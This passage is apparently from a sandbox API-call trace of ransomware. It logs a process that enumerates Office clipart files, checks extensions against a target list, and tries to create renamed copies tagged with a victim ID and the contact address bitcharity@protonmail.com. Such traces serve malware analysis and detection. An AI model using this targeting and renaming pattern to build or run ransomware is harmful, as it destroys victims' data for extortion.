lpString2=".WMF") returned -1 [0253.140] lstrlenW (lpString=".xls") returned 4 [0253.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.140] lstrlenW (lpString=".xlsx") returned 5 [0253.140] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.140] lstrlenW (lpString=".ppt") returned 4 [0253.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.140] lstrlenW (lpString=".zip") returned 4 [0253.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.140] lstrlenW (lpString=".rar") returned 4 [0253.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.140] lstrlenW (lpString=".bz2") returned 4 [0253.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.140] lstrlenW (lpString=".7z") returned 3 [0253.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.140] lstrlenW (lpString=".dbf") returned 4 [0253.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.141] lstrlenW (lpString=".1cd") returned 4 [0253.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.141] lstrlenW (lpString=".jpg") returned 4 [0253.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.141] lstrlenW (lpString=".doc") returned 4 [0253.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.141] lstrlenW (lpString=".docx") returned 5 [0253.141] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.141] lstrlenW (lpString=".pdf") returned 4 [0253.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.141] lstrlenW (lpString=".xls") returned 4 [0253.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.141] lstrlenW (lpString=".xlsx") returned 5 [0253.141] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.141] lstrlenW (lpString=".ppt") returned 4 [0253.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.141] lstrlenW (lpString=".zip") returned 4 [0253.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.141] lstrlenW (lpString=".rar") returned 4 [0253.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.141] lstrlenW (lpString=".bz2") returned 4 [0253.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.142] lstrlenW (lpString=".7z") returned 3 [0253.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.142] lstrlenW (lpString=".dbf") returned 4 [0253.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.142] lstrlenW (lpString=".1cd") returned 4 [0253.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0253.142] lstrlenW (lpString=".jpg") returned 4 [0253.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.142] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0253.142] lstrlenW (lpString="J0238333.WMF") returned 12 [0253.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.143] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=22944) returned 1 [0253.143] CloseHandle (hObject=0x11d0) returned 1 [0253.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf")) returned 0x220 [0253.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.144] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.144] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.144] CloseHandle (hObject=0x11d0) returned 1 [0253.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.144] lstrlenW (lpString=".doc") returned 4 [0253.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.145] lstrlenW (lpString=".docx") returned 5 [0253.145] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0253.145] lstrlenW (lpString=".pdf") returned 4 [0253.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.145] lstrlenW (lpString=".xls") returned 4 [0253.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.145] lstrlenW (lpString=".xlsx") returned 5 [0253.145] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0253.145] lstrlenW (lpString=".ppt") returned 4 [0253.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.145] lstrlenW (lpString=".zip") returned 4 [0253.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.145] lstrlenW (lpString=".rar") returned 4 [0253.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.145] lstrlenW (lpString=".bz2") returned 4 [0253.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.145] lstrlenW (lpString=".7z") returned 3 [0253.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.145] lstrlenW (lpString=".dbf") returned 4 [0253.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.145] lstrlenW (lpString=".1cd") returned 4 [0253.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.145] lstrlenW (lpString=".jpg") returned 4 [0253.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.146] lstrlenW (lpString=".doc") returned 4 [0253.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.146] lstrlenW (lpString=".docx") returned 5 [0253.146] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0253.146] lstrlenW (lpString=".pdf") returned 4 [0253.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.146] lstrlenW (lpString=".xls") returned 4 [0253.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.146] lstrlenW (lpString=".xlsx") returned 5 [0253.146] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0253.146] lstrlenW (lpString=".ppt") returned 4 [0253.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.146] lstrlenW (lpString=".zip") returned 4 [0253.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.146] lstrlenW (lpString=".rar") returned 4 [0253.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.146] lstrlenW (lpString=".bz2") returned 4 [0253.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.146] lstrlenW (lpString=".7z") returned 3 [0253.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.147] lstrlenW (lpString=".dbf") returned 4 [0253.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.147] lstrlenW (lpString=".1cd") returned 4 [0253.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0253.147] lstrlenW (lpString=".jpg") returned 4 [0253.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.147] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0253.147] lstrlenW (lpString="J0238927.WMF") returned 12 [0253.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.148] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=4916) returned 1 [0253.148] CloseHandle (hObject=0x11d0) returned 1 [0253.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf")) returned 0x220 [0253.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0253.149] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.150] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.150] CloseHandle (hObject=0x11d0) returned 1 [0253.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0253.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0253.150] lstrlenW (lpString=".doc") returned 4 [0253.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.150] lstrlenW (lpString=".docx") returned 5 [0253.150] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0253.150] lstrlenW (lpString=".pdf") returned 4 [0253.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.150] lstrlenW (lpString=".xls") returned 4 [0253.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.150] lstrlenW (lpString=".xlsx") returned 5 [0253.151] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0253.151] lstrlenW (lpString=".ppt") returned 4 [0253.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0253.151] lstrlenW (lpString=".zip") returned 4 [0253.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.151] lstrlenW (lpString=".rar") returned 4 [0253.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.151] lstrlenW (lpString=".bz2") returned 4 [0253.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.151] lstrlenW (lpString=".7z") returned 3 [0253.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0253.151] lstrlenW (lpString=".dbf") returned 4 [0253.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.154] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.154] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.154] CloseHandle (hObject=0x11d0) returned 1 [0253.155] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.155] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.156] CloseHandle (hObject=0x11d0) returned 1 [0253.158] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.158] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239057.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.158] CloseHandle (hObject=0x11d0) returned 1 [0253.160] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.160] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.161] CloseHandle (hObject=0x11d0) returned 1 [0253.498] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.498] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.498] CloseHandle (hObject=0x1194) returned 1 [0253.500] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.500] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.500] CloseHandle (hObject=0x1194) returned 1 [0253.501] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.501] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240157.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.502] CloseHandle (hObject=0x1194) returned 1 [0253.504] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.504] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.504] CloseHandle (hObject=0x1194) returned 1 [0253.508] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.508] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.508] CloseHandle (hObject=0x1194) returned 1 [0253.509] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.509] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.510] CloseHandle (hObject=0x1194) returned 1 [0253.511] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.511] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241019.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.511] CloseHandle (hObject=0x1194) returned 1 [0253.512] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.512] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.512] CloseHandle (hObject=0x1194) returned 1 [0253.513] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.514] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.514] CloseHandle (hObject=0x1194) returned 1 [0253.515] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.515] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.515] CloseHandle (hObject=0x1194) returned 1 [0253.517] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 